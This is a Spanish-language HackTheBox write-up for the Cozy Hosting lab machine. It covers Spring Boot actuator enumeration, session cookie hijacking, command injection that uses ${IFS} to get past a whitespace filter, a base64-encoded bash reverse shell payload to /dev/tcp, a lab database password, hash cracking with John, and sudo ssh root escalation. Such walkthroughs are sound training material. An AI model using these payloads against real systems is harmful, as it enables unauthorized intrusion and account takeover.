HackTheBox: Cozy Hosting

Esta vez jugamos la máquina Cozy Hosting. Nos reta a aprender un poco sobre los Actuators del framework Java Spring Boot.

Enumeración

Primero, empezamos con un escaneo de Nmap y encontramos TCP 22 y TCP 80, nada más interesante.

# Nmap 7.94SVN scan initiated as: nmap -p22,80 -sCV cozyhosting.htb
Nmap scan report for cozyhosting.htb (10.10.11.230)
Host is up (0.087s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Cozy Hosting - Home
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Accedimos al sitio web y pudimos ver que usa el framework Java Spring.

Lo supimos por la Whitelabel Error Page.

Con este conocimiento, encontramos que Spring Boot usa directorios llamados Actuators. Enumeramos directorios con ffuf usando un diccionario específico para Spring Boot y encontramos un buen número de directorios interesantes.

Un Actuator aporta funcionalidades listas para producción a una aplicación Spring. Expone principalmente información operativa de la aplicación en ejecución (health, metrics, info, dump, env, etc.) a través de endpoints HTTP.

Investigándolos todos, encontramos que están más o menos bien configurados, pero hay un directorio específico, /actuator/sessions, donde podemos obtener fácilmente la cookie de cualquier usuario logueado.

Intentamos usar una cookie encontrada de una sesión actual.

¡Y obtuvimos acceso al panel /admin!

Acceso inicial

En este panel de administración podemos hacer una conexión a un host pasando un hostname y un usuario. Algo interesante es que la conexión la hace el servidor usando SSH, lo que nos dice que se están ejecutando comandos.

Usando Burp Suite, intentamos ejecutar comandos maliciosos a través del nombre de usuario, y como vemos, el servidor no permite espacios en blanco.

Después de muchos intentos, usamos la variable especial de shell IFS para saltar el whitespace, y funcionó como esperábamos.

IFS significa “internal field separator” (separador interno de campos). La shell lo usa para determinar cómo dividir las palabras. Su valor por defecto está compuesto por caracteres de espacio en blanco (espacio, tab y nueva línea).

Reverse shell codificada en base64:

echo "bash -i >& /dev/tcp/<your-ip>/<your-port> 0>&1" | base64 -w 0

Payload:

;echo${IFS%??}"<your payload here>"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;

Ahora probamos nuestro payload. Antes de enviarlo, tenemos que codificarlo en URL.

¡Y recuperamos nuestra shell!

Enumerando un poco, vemos un usuario en el directorio /home.

En nuestro directorio encontramos algunos archivos que parecen ser backups.

Los transferimos a nuestra máquina y los revisamos todos. Algo importante que encontramos fueron las credenciales de la base de datos.

postgres:Vg&nvzAQ7XxR

Usando estas credenciales, entramos a la base de datos para continuar nuestra búsqueda. Encontramos las tablas hosts y users.

En la tabla users obtuvimos dos hashes interesantes. Como ya tenemos acceso a uno de los usuarios a través de la cookie de sesión, fuimos directo a crackear el hash del admin y buscar reutilización de contraseñas.

select * from users;

Con el hash en mano, usamos John y rockyou.txt para encontrar la contraseña en texto plano.

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Con esta contraseña probamos SSH como el usuario josh, y ganamos una shell con estas credenciales, junto con nuestra primera flag.

Escalada de privilegios

Para la escalada, lo primero que hicimos fue un sudo -l. Rápidamente vimos que podemos usar ssh como root, lo que abre el camino a una técnica de GTFOBins para obtener root.

Usamos una técnica de GTFOBins con la que obtuvimos root y nuestra última flag.

Gracias por leer.